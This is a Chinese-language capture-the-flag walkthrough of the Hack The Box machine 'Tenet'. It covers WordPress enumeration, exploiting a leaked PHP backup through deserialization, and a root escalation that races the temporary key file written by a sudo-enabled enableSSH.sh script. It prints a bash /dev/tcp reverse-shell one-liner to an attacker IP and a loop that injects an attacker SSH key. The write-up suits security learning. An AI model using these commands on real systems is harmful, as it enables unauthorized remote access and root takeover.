Tenet
0x01 信息收集
使用nmap对目标ip进行扫描
nmap -sS -sCV 10.10.10.223
访问80端口
进行目录扫描
扫出了wordpress后台登录地址,那我们接下来就是要尝试搜索用户名,密码信息,进行登录后台
发现需要网站tenet.htb,将其添加至hosts中,重新访问,有几篇博客
从这几篇博客中,发现了关键信息,网站可能存在sator.php及其备份文件
0x02 获取源码
我们尝试访问此备份文件,成功下载
查看文件内容
0x03 漏洞利用
对源码进行分析,显然存在反序列化漏洞,很简单,直接构造exp
传入exp,成功写入shell
反弹shell,得到www权限
bash -c "bash -i >& /dev/tcp/10.10.14.20/5555 0>&1"
0x04 权限提升
尝试寻找敏感文件,找到了wp-config.php文件,其内写有数据库账号密码
使用ssh进行登录
成功得到一个flag
查看sudo权限
发现了enableSSH.sh,查看
neil@tenet:/$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
经过简单分析之后,此脚本作用是将ssh公钥写进root下的.ssh目录,但其会先将公钥写到临时目录下,做一个检查,在写到root目录下,那么此时我们就可以通过竞争修改临时文件中的公钥,以此来提权
先本地生成ssh公钥
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDJdByfsxFKmsXURpo5cH5Kf9a1lylX/ZYhHZgWYcC0m6JkgZKSjRvshriNurZyq/KI4tgm9hvpNPrZTaj/58fH5rgTNYos+HVRbiVudhU2BSI0OIwLes8KMcxcqQI3TK9P2mK+rOnJQ3gY/A6yFJzieg9GNP+j6TRwryW2+r8rukxhVPzUBw83lM+/bML+nu3gLs5OeDqWpIt4J635Pfvu5JmTWAy7BMVV+boU5kXRNoTxaH0/ki394FYzYtPJU1wTDaD1y3lC5SZdEc7nbnBzG4tun/7+mIELkGorcsuADgnXBhPZ1Bg09Qy64GlwbhQQQ/C/p0nK21eVFaj51w/KqlOUQES4L+sZGjaD/at7emeD4XDtr/gKTUYENJushEfTVTFUI6M51dDu8sselxuuMwzd5Wcsz/ijoVh87eYf7BGV43kqCEj4MiAHwICAIK6DWUZRhTLhBgEg2bnCh1jINCnColXEllnEFHQu5TCF/rId9MKUf00/TCpq4LiRR8= kali@kali
然后持续想临时文件写入公钥
while true; do echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDJdByfsxFKmsXURpo5cH5Kf9a1lylX/ZYhHZgWYcC0m6JkgZKSjRvshriNurZyq/KI4tgm9hvpNPrZTaj/58fH5rgTNYos+HVRbiVudhU2BSI0OIwLes8KMcxcqQI3TK9P2mK+rOnJQ3gY/A6yFJzieg9GNP+j6TRwryW2+r8rukxhVPzUBw83lM+/bML+nu3gLs5OeDqWpIt4J635Pfvu5JmTWAy7BMVV+boU5kXRNoTxaH0/ki394FYzYtPJU1wTDaD1y3lC5SZdEc7nbnBzG4tun/7+mIELkGorcsuADgnXBhPZ1Bg09Qy64GlwbhQQQ/C/p0nK21eVFaj51w/KqlOUQES4L+sZGjaD/at7emeD4XDtr/gKTUYENJushEfTVTFUI6M51dDu8sselxuuMwzd5Wcsz/ijoVh87eYf7BGV43kqCEj4MiAHwICAIK6DWUZRhTLhBgEg2bnCh1jINCnColXEllnEFHQu5TCF/rId9MKUf00/TCpq4LiRR8= kali@kali" | tee "/tmp/ssh-*"; done
另一边访问sh文件,成功写入我们的公钥
尝试ssh登录,成功获得root权限